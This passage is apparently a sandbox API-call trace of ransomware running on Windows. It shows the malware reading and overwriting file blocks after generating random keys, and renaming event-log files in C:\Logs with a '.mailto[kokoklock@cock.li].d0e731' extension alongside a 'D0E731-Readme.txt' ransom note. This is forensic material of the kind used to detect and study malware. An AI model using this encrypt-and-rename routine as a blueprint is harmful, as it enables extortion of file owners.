CurrentTime=0x646fc70*=132121213215684587) returned 0x0 [0164.259] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xe631983a [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x8664eaf4 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xa26aa34e [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xa14fcf59 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x1b791295 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xa477d26f [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x62505f1e [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x52e455f6 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x2fdb9eaa [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xd3c07f89 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x70161a08 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x1f996ec7 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xc4497eeb [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xda44d7c4 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xabddc7a8 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x64f562b1 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xcd7ebb60 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xe66eb7e1 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x357c2f77 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x707f65eb [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xc5f9bb6f [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x97fc52b1 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xe6526e70 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x6186585a [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xb8a5eae5 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x5989b2fc [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x70e2e4d [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0x59d43bce [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xdfce58b5 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xd8be8595 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xb7993e12 [0164.260] RtlRandom (in: Seed=0x646fc7c | out: Seed=0x646fc7c) returned 0xdd496eea [0164.269] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5e0 [0164.271] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.271] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.272] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.272] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x646fc48, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x646fc48*=0x4096, lpOverlapped=0x0) returned 1 [0164.273] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.273] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x646fc48, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x646fc48*=0x4096, lpOverlapped=0x0) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.274] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.274] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x646fc80, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x646fc80*=0x20, lpOverlapped=0x0) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.274] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a5e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f8a5e0*, lpNumberOfBytesWritten=0x646fc94*=0x8, lpOverlapped=0x0) returned 1 [0164.275] WriteFile (in: hFile=0x4a0, lpBuffer=0x646fcac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x646fcac*, lpNumberOfBytesWritten=0x646fc94*=0x4, lpOverlapped=0x0) returned 1 [0164.275] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x646fc94*=0x4, lpOverlapped=0x0) returned 1 [0164.275] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x646fc94*=0x6c, lpOverlapped=0x0) returned 1 [0164.275] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x646fc94*=0x20, lpOverlapped=0x0) returned 1 [0164.275] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x646fc94*=0x4, lpOverlapped=0x0) returned 1 [0164.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a838) returned 1 [0164.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5e0) returned 1 [0164.275] CloseHandle (hObject=0x4a0) returned 1 [0164.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85418 [0164.275] wcscpy (in: _Dest=0x2f85418, _Source="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.275] wcscat (in: _Dest=0x2f85418, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.275] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.276] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85418) returned 1 [0164.276] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.277] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.277] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.277] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.277] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.277] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.277] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83680) returned 1 [0164.277] RtlExitUserThread (Status=0x1) Thread: id = 1514 os_tid = 0xe84 [0164.278] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.278] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.279] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.279] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x64efe60 | out: lpFileSize=0x64efe60*=69824) returned 1 [0164.279] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.279] ReadFile (in: hFile=0x4a0, lpBuffer=0x64efe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x64efe34*, lpNumberOfBytesRead=0x64efe30*=0x4, lpOverlapped=0x0) returned 1 [0164.280] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5e0 [0164.280] NtQuerySystemTime (in: CurrentTime=0x64efe0c | out: CurrentTime=0x64efe0c*=132121213215997103) returned 0x0 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x92d1cfef [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x1ae0e3c1 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x852b3593 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xc5a78950 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x2955c772 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x632be92d [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xbfaeaddb [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x9eeb0737 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x590165a1 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xebb9213 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x67ffbcaa [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x43b26836 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x6e726d25 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x367fff3a [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xbaaabd9c [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x856e3d46 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xb8818d44 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x2ba91ded [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x5be1b4fc [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xedc1009d [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x84bfffd8 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x166f1c67 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x6d809500 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xf0466070 [0164.280] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x150d25f3 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x121c1c80 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x1a874be1 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xed79c07e [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x222ea6d6 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0xa9ffa959 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x3bb0e4 [0164.281] RtlRandom (in: Seed=0x64efe18 | out: Seed=0x64efe18) returned 0x75c2a827 [0164.289] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.291] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.291] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.291] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x64efde4, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x64efde4*=0x4096, lpOverlapped=0x0) returned 1 [0164.292] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.292] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.302] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x64efde4, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x64efde4*=0x4096, lpOverlapped=0x0) returned 1 [0164.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.302] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64efe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x64efe1c*=0x20, lpOverlapped=0x0) returned 1 [0164.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x2f8a608*, lpNumberOfBytesWritten=0x64efe30*=0x8, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x64efe48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x64efe48*, lpNumberOfBytesWritten=0x64efe30*=0x4, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x64efe30*=0x4, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x64efe30*=0x6c, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x64efe30*=0x20, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x64efe30*=0x4, lpOverlapped=0x0) returned 1 [0164.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a838) returned 1 [0164.304] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.304] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a608) returned 1 [0164.304] CloseHandle (hObject=0x4a0) returned 1 [0164.304] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95a00 [0164.304] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.304] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.304] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.305] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0164.305] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.305] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.305] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.305] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.305] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e1e0) returned 1 [0164.305] RtlExitUserThread (Status=0x1) Thread: id = 1515 os_tid = 0xe88 [0164.307] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.309] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.309] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.309] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x656fd34 | out: lpFileSize=0x656fd34*=1118464) returned 1 [0164.309] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x1110fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.309] ReadFile (in: hFile=0x4a0, lpBuffer=0x656fd08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x656fd08*, lpNumberOfBytesRead=0x656fd04*=0x4, lpOverlapped=0x0) returned 1 [0164.310] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a928 [0164.310] NtQuerySystemTime (in: CurrentTime=0x656fce0 | out: CurrentTime=0x656fce0*=132121213216309389) returned 0x0 [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x6b1b9ec2 [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x850dce2d [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xa76293b4 [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xcdb4062 [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xcfe0261f [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x1c7394d4 [0164.310] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xc4c33c83 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xe2ed5c04 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x24b52c59 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 